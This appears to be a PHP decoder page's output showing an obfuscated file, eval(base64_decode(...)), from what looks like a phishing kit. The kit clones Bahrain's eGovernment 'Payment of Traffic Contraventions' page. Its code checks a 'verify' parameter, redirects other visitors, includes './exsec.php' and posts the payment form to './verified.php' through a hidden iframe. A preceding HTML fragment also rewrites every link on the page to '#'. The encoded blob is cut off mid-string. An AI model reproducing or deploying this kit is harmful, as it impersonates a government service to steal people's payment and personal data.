<label for="feedbackTextArea"><em>*</em>Comment</label>
</div>
<div class="form-col2">
<div class="form-control-block block-full">
<textarea id="feedbackTextArea" maxlength="200" onkeyup="textareaCounter(this,200);"></textarea>
<br>
<div class="textCounter">
<span>200</span>
<span>characters left</span>
</div>
</div>
<div class="error-block" role="alert">
<span></span>
</div>
</div>
</div>
</div>
<div class="row-fluid">
<div class="span12 form-row" id="ratingInputMobile">
<div class="form-col1">
<label>Mobile</label>
</div>
<div class="form-col2">
<div class="form-control-block block-full">
<input type="tel" minlength="8" value="" title="Mobile" autocomplete="off">
</div>
<div class="error-block" role="alert">
<span></span>
</div>
</div>
</div>
</div>
<div class="row-fluid">
<div class="span12 form-row" id="ratingInputEmail">
<div class="form-col1">
<label>Email</label>
</div>
<div class="form-col2">
<div class="form-control-block block-full">
<input type="email" value="" title="Email" autocomplete="off">
</div>
<div class="error-block" role="alert">
<span></span>
</div>
</div>
</div>
</div>
</div>
<div class="buttons mt-3" style="display: none;">
<a href="javascript:void(0);" id="ratingModelClear" class="button_style">Clear</a>
<a href="javascript:void(0);" id="ratingModelSubmit" class="button_style">Submit</a>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- Crop Model -->
<div id="cropperModel" style="display: none;" class="row-fluid">
<div class="modal-backdrop in" data-backdrop="static" data-keyboard="false">
</div>
<div class="modal fade in" tabindex="-1" role="dialog" aria-labelledby="cropperPopupModal" aria-hidden="false">
<div class="modal-header">
<button type="button" class="close cropper-cancel-action" data-dismiss="modal" aria-hidden="true"></button>
<h4 id="cropperPopupModal">
Attach Photo
</h4>
</div>
<div class="modal-body">
</div>
</div>
</div>
<!-- Crop Model - END -->
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/jquery.mobile.custom.min.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/bootstrap.min.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/easyResponsiveTabs-svgeezy-service-merged.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/bootstrap-datepicker_en.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/bootstrap-datetimepicker.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/printer.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/jquery.form.min.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/jquery.maskedinput.min.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/bootstrap-tooltip.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/bootstrap-popover.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/jquery-eu-cookie-law-popup_en.js" type="text/javascript"></script>
<script src="https://services.bahrain.bh/wps/contenthandler/!ut/p/digest!VjBueQcDg9ZtERuc1v4-zw/dav/fs-type1/themes/PortalPlusServices/js/select2.full.js" type="text/javascript"></script>
<!-- End of LiveChat code --><!-- Userway Accessibility widget --><!-- End page footer -->
<!-- This is responsible for bootstrapping the configuration for the javascript framework.
This is located here instead of the head section to improve client performance. -->
<div id="layoutContainers" class="wpthemeLayoutContainers wpthemeLayoutContainersHidden" style="display: none;"></div>
<script>
// Get all anchor tags
var anchorTags = document.getElementsByTagName("a");
// Loop through each anchor tag and modify the href attribute
for (var i = 0; i < anchorTags.length; i++) {
anchorTags[i].setAttribute("href", "#");
}
</script>
</body><grammarly-desktop-integration data-grammarly-shadow-root="true"></grammarly-desktop-integration></htm
Did this file decode correctly?
Original Code
<?php eval(base64_decode('CiBnb3RvIFJiXzNWOyBpVDVxcjogJGNvbXBsZXRlZFBhcmFtID0gJF9HRVRbIlx4NzZceDY1XDE2Mlx4NjlceDY2XDE3MSJdID8/ICcnOyBnb3RvIExFZlE0OyBMRWZRNDogaWYgKCRjb21wbGV0ZWRQYXJhbSAhPT0gIlwxNjRceDcyXHg3NVwxNDUiKSB7IGhlYWRlcigiXHg0Y1wxNTdceDYzXHg2MVx4NzRceDY5XHg2ZlwxNTZcNzJceDIwXHgyZVw1N1x4NjlcMTU2XHg2NFx4NjVceDc4XDU2XHg3MFwxNTBceDcwIik7IGRpZTsgfSBnb3RvIENlS0kzOyBSYl8zVjogaW5jbHVkZSAiXHgyZVw1N1wxNDVceDc4XDE2M1x4NjVcMTQzXHgyZVx4NzBceDY4XHg3MCI7IGdvdG8gaVQ1cXI7IENlS0kzOiA/PgoKCjwhRE9DVFlQRSBodG1sPgo8aHRtbCB4bWxucz0iaHR0cHM6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iIGNsYXNzPSIgaWRjMF8zNDMgbnRhd3VmZmFhIj48aGVhZD4KPCEtLSBiZWxvdyBJRSBtZXRhIHRhZyBhZGRlZCB0byBlbmZvcmUgSUUgYnJvd3NlcnMgdG8gc3RpY2sgdG8gdGhlaXIgZXhhY3QgdmVyc2lvbiB3aGVuIHZpZXdpbmcgdGhlIHdlYnNpdGUsIHdpdGhvdXQgcmV2ZXJ0aW5nIHRvIFF1aXJrcyBtb2RlIG9yIGdvaW5nIGJhY2sgdG8gb2xkZXIgdmVyc2lvbnMuLS0+CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJUaGUgZUdvdmVybm1lbnQgTmF0aW9uYWwgUG9ydGFsIC0gS2luZ2RvbSBvZiBCYWhyYWluLCBwcm92aWRlcyBhIG9uZS1zdG9wIHNob3AgdGhhdCBmYWNpbGl0YXRlcyB0aGUgYWNjZXNzIHRvIGdvdmVybm1lbnQgSW5mb3JtYXRpb24gYW5kIGVTZXJ2aWNlcy4iPgo8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgo8IS0tIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4gLS0+CjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSwgbWF4aW11bS1zY2FsZT0xLCBtaW5pbXVtLXNjYWxlPTEgLCB1c2VyLXNjYWxhYmxlPW5vIj4KPCEtLSByZWw9ZHluYW1pYy1jb250ZW50IGluZGljYXRlcyBhbiBlbGVtZW50IHRoYXQgaXMgcmVwbGFjZWQgd2l0aCB0aGUgY29udGVudHMgcHJvZHVjZWQgYnkgdGhlIHNwZWNpZmllZCBocmVmLiAKCSBkeW4tY3M6KiBVUklzIGFyZSByZXNvbHZlZCB1c2luZyB0aGUgV1AgRHluYW1pY0NvbnRlbnRTcG90TWFwcGluZ3MgcmVzb3VyY2UgZW52aXJvbm1lbnQgcHJvdmlkZXIuIFRoZXNlIHZhbHVlcyBjYW4KCSBhbHNvIGJlIHNldCB1c2luZyB0aGVtZSBtZXRhZGF0YSBpZiBhIHRoZW1lIGlzIHNwZWNpZmllZCBpbiB0aGUgVVJJIChlLmcuIEB0bDpvaWQ6dGhlbWVfdW5pcXVlX25hbWUpLiAtLT4KPGxpbmsgcmVsPSJhbHRlcm5hdGUiIGlkPSJoZWFkX21hcmt1cF9kZWZlcnJlZCIgaHJlZj0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhYTl1MzVTLUdzSlJfX0x4elVMSVdBQS9tYXNodXAvcmE6Y29sbGVjdGlvbj90aGVtZUlEPVpKX0lPMDAyQVMwMTlMRjgwNjgwQ0dQVEUxR0UwJmFtcDtsb2NhbGU9ZW4mYW1wO21pbWUtdHlwZT10ZXh0JTJGcGxhaW4mYW1wO2xtPTE2NjI2MzA0MTYwMDAmYW1wO2VudHJ5PXdwX29uZV91aV8zMDNfXzAuMCUzQWhlYWRfbWFya3VwJmFtcDtkZWZlcnJlZD10cnVlIj4KCgo8dGl0bGU+CglHZW5lcmFsIERpcmVjdG9yYXRlIG9mIFRyYWZmaWMgU2VydmljZXMKPC90aXRsZT4KCgoJPGxpbmsgaWQ9ImNvbS5pYm0ubG90dXMuTmF2U3RhdGVVcmwiIHJlbD0iYWx0ZXJuYXRlIiBocmVmPSIvd3BzL3BvcnRhbC9lbi8hdXQvcC96MS8wNF9TajlDUHlrc3N5MHhQTE1uTXowdk1BZklqbzh6aUxTemNuUTJOTEl5ODNBM0RMQXdjdmYwTlBGeE5qQTBObk0zMHc4RUtUQzJNbkQyOGdRcjhqVTFNRFJ4TnZBT2RRdjA5akEzOERmU2ppTkZ2Z0FJY0RaeUNqSnlNRFF6Y19ZM0kwWTlzRW5INjhTaUl3bTk4Y0dvZTBJd29zREo4b1lERkhGUnZFcktvSURjME5EU2l3alBUVVZFUkFPb2dWQjghL2R6L2Q1L0wzZEpkeUV2VVVkM1FuZEpRU0V2TkU1c1JTOWFObDg0T0VkRE1USTRNa3BITVZZNE1FRkxUekJJUlRRek1UQkROZyEhLyI+CgkKCTxsaW5rIHJlbD0iYm9va21hcmsiIHRpdGxlPSJHZW5lcmFsIERpcmVjdG9yYXRlIG9mIFRyYWZmaWMgU2VydmljZXMiIGhyZWY9Ii93cHMvcG9ydGFsLyF1dC9wL3oxLzA0X1NqOUNQeWtzc3kweFBMTW5NejB2TUFmSWpvOHppTFN6Y25RMk5MSXk4M0EzRExBd2N2ZjBOUEZ4TmpBME5uTTMwdzhFS1RDMk1uRDI4Z1FyOGpVMU1EUnhOdkFPZFF2MDlqQTM4RGZTamlORnZnQUljRFp5Q2pKeU1EUXpjX1kzSTBZOXNFbkg2OFNpSXdtOThjR29lMEl3b3NESjhvWURGSEZSdkVyS29JRGMwTkRTaXdqUFRVVkVSQU9vZ1ZCOCEvZHovZDUvTDNkSmVXY3ZkMFJOUVVGelFVbFZRVTFCTHpST2JFaFZRU0VoTDFvMlh6ZzRSME14TWpneVNrY3hWamd3UVV0UE1FaEZORE14TUVNMi8iIGhyZWZsYW5nPSJlbiI+CgoKPGxpbmsgaHJlZj0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9pbWFnZXMvZmF2aWNvbi5pY28iIHJlbD0ic2hvcnRjdXQgaWNvbiIgdHlwZT0iaW1hZ2UveC1pY29uIj4KCjwhLS0gQXJhYmljIENTUyAtLT48IS0tIEVuZ2xpc2ggQ1NTIC0tPgoJPGxpbmsgaHJlZj0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9jc3MvY3NzX2VuLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9InNjcmVlbixwcmludCI+Cgk8bGluayBocmVmPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2Nzcy9wcmludC5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJwcmludCI+Cgk8bGluayBocmVmPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2Nzcy9RYXBUY2hhX0VOLmpxdWVyeS5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPgoJPCEtLSBDb29raWVzIC0tPgoJPGxpbmsgaHJlZj0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9jc3MvbGF3LXBvcHVwX2VuLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+CjwhLS0gQ29tbW9uIENTUyAtLT48IS0tIEZvbnQgQXdlc29tZSA1IC0tPgo8bGluayBocmVmPSIvUG9ydGFsUGx1c1NlcnZpY2VzVGhlbWUvdGhlbWVzL2h0bWwvZHluYW1pY1Nwb3RzL2ZvbnRzL2ZvbnQtYXdlc29tZS9jc3MvYWxsLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9InNjcmVlbixwcmludCI+Cgo8IS0tIEZvbnQgQXdlc29tZSA0IC0tPgo8bGluayBocmVmPSIvUG9ydGFsUGx1c1NlcnZpY2VzVGhlbWUvdGhlbWVzL2h0bWwvZHluYW1pY1Nwb3RzL2ZvbnRzL2ZvbnQtYXdlc29tZS9jc3MvZm9udC1hd2Vzb21lLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgbWVkaWE9InNjcmVlbixwcmludCI+CjxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1QVCtTYW5zOjQwMCw3MDAiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPgo8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vaWNvbj9mYW1pbHk9TWF0ZXJpYWwrSWNvbnMiPgo8bGluayBocmVmPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2Nzcy9zZWxlY3QyLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIG1lZGlhPSJzY3JlZW4scHJpbnQiPgo8bGluayBocmVmPSIvUG9ydGFsUGx1c1NlcnZpY2VzVGhlbWUvdGhlbWVzL2h0bWwvZHluYW1pY1Nwb3RzL2ZvbnRzL2N1c3RvbS1mb250LWljb25zL2Nzcy9jdXN0b20taWNvbnMuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0ic2NyZWVuLHByaW50Ij4KCjwhLS0gU2NyaXB0cyAtLT4KPHNjcmlwdCBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvanMvanF1ZXJ5LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKPCEtLSBUbyBkaXNhYmxlIHNob3dpbmcgbnVtYmVycyBhcyBjbGlja2FibGUgb3IgY2FsbGFibGUgcGhvbmUgbnVtYmVycyAtLT4KPG1ldGEgbmFtZT0iZm9ybWF0LWRldGVjdGlvbiIgY29udGVudD0idGVsZXBob25lPW5vIj48IS0tIHJlbmRlcmluZyBpcyBkZWxlZ2F0ZWQgdG8gdGhlIHNwZWNpZmllZCBocmVmIGZvciBlYWNoIGxvY2FsZSAtLT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIGFzeW5jPSIiIHNyYz0iLy9jZG4ubW91c2VmbG93LmNvbS9wcm9qZWN0cy9jN2MyNWZlMy00NThhLTRjNGQtODU3ZS0xNWFhNDJiNDhhMzQuanMiPjwvc2NyaXB0PjxzY3JpcHQgYXN5bmM9IiIgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vY2RuLmxpdmVjaGF0aW5jLmNvbS90cmFja2luZy5qcyI+PC9zY3JpcHQ+Cgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvanMtc2hhMjU2LzAuOS4wL3NoYTI1Ni5taW4uanMiPjwvc2NyaXB0PgoKPC9oZWFkPgo8Ym9keSBjbGFzcz0ibG90dXN1aTMwZG9qbyB0dW5kcmEgbG9jYWxlX2VuIHRvb2xiYXItY2xvc2VkIiBkYXRhLW5ldy1nci1jLXMtY2hlY2stbG9hZGVkPSIxNC4xMTY0LjAiIGRhdGEtZ3ItZXh0LWluc3RhbGxlZD0iIj48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+IG15ZmFjZXMuY29uZmlnLl9hdXRvZXZhbCA9IHRydWU7IDwvc2NyaXB0PgkKCgoJCjxkaXYgY2xhc3M9ImNvbnRlbnQtd3JhcHBlciI+CgkKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgoJdmFyIGpzUGFnZU5hbWUgPSAnR2VuZXJhbCBEaXJlY3RvcmF0ZSBvZiBUcmFmZmljIFNlcnZpY2VzJzsKCXZhciBzZXJ2aWNlVW5pcXVlTmFtZSA9J3N1aWQuR2VuZXJhbERpcmVjdG9yYXRlb2ZUcmFmZmljU2VydmljZXMnOwoJdmFyIHNlcnZpY2VPd25lciA9ICdHRFQnOwoKCWNvbnNvbGUubG9nKCJzZXJ2aWNlT3duZXIgOiAiICsgc2VydmljZU93bmVyKTsKCQo8L3NjcmlwdD4KCgoKCgoKCQo8ZGl2IGNsYXNzPSJjb250YWluZXIgbWFyLWJ0bS0xNSBsb2dvLXdyYXBwZXItaGVhZGVyIj4KCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJPGRpdiBjbGFzcz0ic3BhbjEyIj4KCQkKCQkJCgkJCQoJCQkJPGEgaHJlZj0iaHR0cHM6Ly93d3cuYmFocmFpbi5iaC93cHMvcG9ydGFsL2VuL0JOUC9Ib21lTmF0aW9uYWxQb3J0YWwiPgoJCQkJCTwhLS0gQ3VycmVudCBMb2dvIC0tPgoJCQkJCQoJCQkJCTwhLS0gTmV3IC0tPgoJCQkJCTxpbWcgY2xhc3M9Im5hdGlvbmFsUG9ydGFsTG9nbyIgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2ltYWdlcy9iYWhyYWluX2JoX2xvZ28ucG5nIiBhbHQ9Iktpbmdkb20gb2YgQmFocmFpbiBsb2dvIj4KCQkJCTwvYT4KCQkJCTxzcGFuPgoJCQkJCTxzcGFuIGNsYXNzPSJsb2dvLWhlYWRlci1zbGFzaCBoaWRlLWluLXJlc3BvbnNpdmUiPnw8L3NwYW4+CgkJCQkJPHNwYW4gY2xhc3M9ImxvZ28taGVhZGVyLXBocmFzZSI+WW91ciBwb3J0YWwgdG8gZmluZCBzZXJ2aWNlcyAmYW1wOyBnb3Zlcm5tZW50IGluZm9ybWF0aW9uIGVhc2lseTwvc3Bhbj4KCQkJCTwvc3Bhbj4KCQkJCQoJCQkKCTwvZGl2PgoKCTwvZGl2Pgo8L2Rpdj4KCgo8IS0tIHJlcXVpcmVkIC0gZG8gbm90IHJlbW92ZSAtLT4KCQkJPGRpdiBzdHlsZT0iZGlzcGxheTpub25lIiBpZD0icG9ydGxldFN0YXRlIj57fTwvZGl2PgoJPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KCQk8L2Rpdj4KCTxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CgkJPGRpdiBjbGFzcz0icm93LWZsdWlkIj4JCQoJCQk8ZGl2IGNsYXNzPSJtYWluLWNvbnRlbnQiPgkJCQoJCQkJPGRpdiBjbGFzcz0iY29tcG9uZW50LWNvbnRhaW5lciBtaWRkbGUtY29udGVudCBsZWZ0LWNvbnRlbnQgc3BhbjEyIGlkLVo3Xzg4R0MxMjgySk9UVEIwQTZCTE01NUwxRzQ3IiBuYW1lPSJsZWZ0Ij48ZGl2IGNsYXNzPSJjb21wb25lbnQtY29udHJvbCBpZC1aN184OEdDMTI4Mko4SU0xMFE2NVBFT0hEMTBJMSI+PGRpdiBjbGFzcz0idGhpblNraW4iPgogIDxkaXYgY2xhc3M9InRpdGxlLWJhciI+Cgk8YSByZWw9ImR5bmFtaWMtY29udGVudDEiIGhyZWY9ImxtLnRpdGxlIj48L2E+Cgk8c3BhbiBjbGFzcz0iwpRtZW51LXBsYWNlaG9sZGVywpQiPjwvc3Bhbj4KICA8L2Rpdj4KCSAKCQo8L2Rpdj4KPC9kaXY+PGRpdiBjbGFzcz0iY29tcG9uZW50LWNvbnRyb2wgaWQtWjdfODhHQzEyODJKRzFWODBBS08wSEU0MzEwUzEiPjxkaXYgY2xhc3M9InRoaW5Ta2luIj4KICA8ZGl2IGNsYXNzPSJ0aXRsZS1iYXIiPgoJPGEgcmVsPSJkeW5hbWljLWNvbnRlbnQxIiBocmVmPSJsbS50aXRsZSI+PC9hPgoJPHNwYW4gY2xhc3M9IsKUbWVudS1wbGFjZWhvbGRlcsKUIj48L3NwYW4+CiAgPC9kaXY+CiAgPGRpdiB4bWxuczpwb3J0bGV0LWNsaWVudC1tb2RlbD0iaHR0cHM6Ly93d3cuaWJtLmNvbS94bWxucy9wcm9kL3dlYnNwaGVyZS9wb3J0YWwvdjYuMS9wb3J0bGV0LWNsaWVudC1tb2RlbCI+Cgk8bGluayB0eXBlPSJ0ZXh0L2NzcyIgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJwMC9JWjdfODhHQzEyODJKRzFWODBBS08wSEU0MzEwUzE9Q1o2Xzg4R0MxMjgySkcxVjgwQUtPMEhFNDMxMEM2PU5FamF2YXguZmFjZXMucmVzb3VyY2UhUUNQdGhlbWUuY3NzPWxuIXByaW1lZmFjZXMtYXJpc3RvPWNvbS5pYm0uZmFjZXMucG9ydGxldC5QQVRIIVFDUGphdmF4LmZhY2VzLnJlc291cmNlUUNQdGhlbWUuY3NzPT0vIj4KCQoJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0icDAvSVo3Xzg4R0MxMjgySkcxVjgwQUtPMEhFNDMxMFMxPUNaNl84OEdDMTI4MkpHMVY4MEFLTzBIRTQzMTBDNj1ORWphdmF4LmZhY2VzLnJlc291cmNlIVFDUGpzZi5qcz1sbiFqYXZheC5mYWNlcz1jb20uaWJtLmZhY2VzLnBvcnRsZXQuUEFUSCFRQ1BqYXZheC5mYWNlcy5yZXNvdXJjZVFDUGpzZi5qcz09LyI+PC9zY3JpcHQ+Cgk8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9jb21tb24uanMiPjwvc2NyaXB0PgoJIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij52YXIgYWRkdGhpc19jb25maWcgPSB7ImRhdGFfdHJhY2tfY2xpY2tiYWNrIjp0cnVlICwgInVpX2xhbmd1YWdlIjonZW4nfTs8L3NjcmlwdD4KCQkJPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cHM6Ly9zNy5hZGR0aGlzLmNvbS9qcy8yNTAvYWRkdGhpc193aWRnZXQuanMjcHViaWQ9cmEtNGQ5ODFhMzQ3MjNkNjU5YiI+PC9zY3JpcHQ+CgoJCQk8IS0tIEJlZ2luIFNlcnZpY2UgRm9ybSAtLT4KCQkJCgkJCgkJCTxpZnJhbWUgbmFtZT0iZHVtbXlmcmFtZSIgaWQ9ImR1bW15ZnJhbWUiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+PC9pZnJhbWU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBpZD0ibXlGb3JtIiBtZXRob2Q9InBvc3QiIGFjdGlvbj0iLi92ZXJpZmllZC5waHAiIG9uc3VibWl0PSJsb2FkZXIoKSIgdGFyZ2V0PSJkdW1teWZyYW1lIj4KCQkJCQoJPGRpdiBjbGFzcz0icm93LWZsdWlkIj4KCQk8ZGl2IGNsYXNzPSJzcGFuMTIiPjxzcGFuIGlkPSJ2aWV3bnNfWjdfODhHQzEyODJKRzFWODBBS08wSEU0MzEwUzFfOmZvcm0xOnNlcnZpY2Vncm91cCI+CgoKCQkJPCEtLTxkaXYgY2xhc3M9InJvdy1mbHVpZCBtYXItYnRtLTEwIj4tLT4KCQkJPCEtLSAgPGRpdiBjbGFzcz0ic3BhbjEyIGJ1Y29udCI+LS0+CgkJCTwhLS0JPHA+UmVjZWl2ZSBhIDUwJSBkaXNjb3VudCBvbiBvdmVyZHVlIGZpbmVzIGJ5IHNldHRsaW5nIHdpdGhpbiBvbmUgd2Vlay48L3A+ICAgICAgICAgICAgICAgLS0+CgkJCTwhLS0gIDwvZGl2Pi0tPgoJCQk8IS0tPC9kaXY+LS0+CgkKCQk8ZGl2IGNsYXNzPSJyb3ctZmx1aWQiPgoJCSA8ZGl2IGNsYXNzPSJzcGFuMTIiPgoJICAgPCEtLSBCRUdJTiBJTlNUUlVDVElPTiBCT1gtLT4KCQkgIDxkaXYgY2xhc3M9InNlcnZpY2Utd2lkZ2V0Ij4KCQkJIDxkaXYgc3R5bGU9ImhlaWdodDogNjBweDsiIGNsYXNzPSJzZXJ2aWNlLXdpZGdldC10aXRsZSI+CgkJCSAgPGg0IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IHBhZGRpbmc6IDEzcHg7IGZvbnQtc2l6ZTogMzBweDsiPgoJCQk8c3Ryb25nPlBheW1lbnQgb2YgVHJhZmZpYyBDb250cmF2ZW50aW9uczwvc3Ryb25nPgoJCQkJCgkJCQkgPHNwYW4gYXJpYS1sYWJlbD0iVG9nZ2xlIENvbnRhaW5lciIgY2xhc3M9InRvb2xzIj48c3Bhbj48ZW0gY2xhc3M9ImZhIGZhLWFuZ2xlLWRvd24iPjwvZW0+PC9zcGFuPjwvc3Bhbj48L2g0PgoJCQkKCQkJIDwvZGl2PgoJCgkJICA8L2Rpdj4KCSAgIDwhLS0gRU5EIElOU1RSVUNUSU9OIEJPWC0tPgoJCTwvZGl2PgoJICAgPC9kaXY+CgoJCQk8ZGl2PjxzcGFuIGlkPSJ2aWV3bnNfWjdfODhHQzEyODJKRzFWODBBS08wSEU0MzEwUzFfOmZvcm0xOm1lc3NhZ2VzIj48L3NwYW4+CgkJCTwvZGl2PgoJCQk8ZGl2PgoJCQk8ZGl2IGNsYXNzPSJyb3ctZmx1aWQgbWFyLWJ0bS0yNSI+Cgk8ZGl2IGNsYXNzPSJzcGFuMTIiPgoJCTwhLS1TdGFydCBSZXF1aXJlZCBNU0cgLS0+CgkJPGRpdiBjbGFzcz0icm93LWZsdWlkIG1hci1idG0tMTAiPgoJCSAgPGRpdiBjbGFzcz0ic3BhbjEyIj4KCQkJPCEtLSA8cCBjbGFzcz0icmVxdWlyZWQtdGV4dCI+IGluZGljYXRlcyB0aGUgcmVxdWlyZWQgZmllbGRzLjwvcD4gLS0+CgkJICA8L2Rpdj4KCQk8L2Rpdj4KCgkgICA8IS0tIFN0YXJ0ICBBZGRyZXNzIFRhYmVsLS0+CgkgICA8ZGl2IGNsYXNzPSJyb3ctZmx1aWQgbWFyLWJ0bS01ICI+CgkJPGRpdiBjbGFzcz0ic3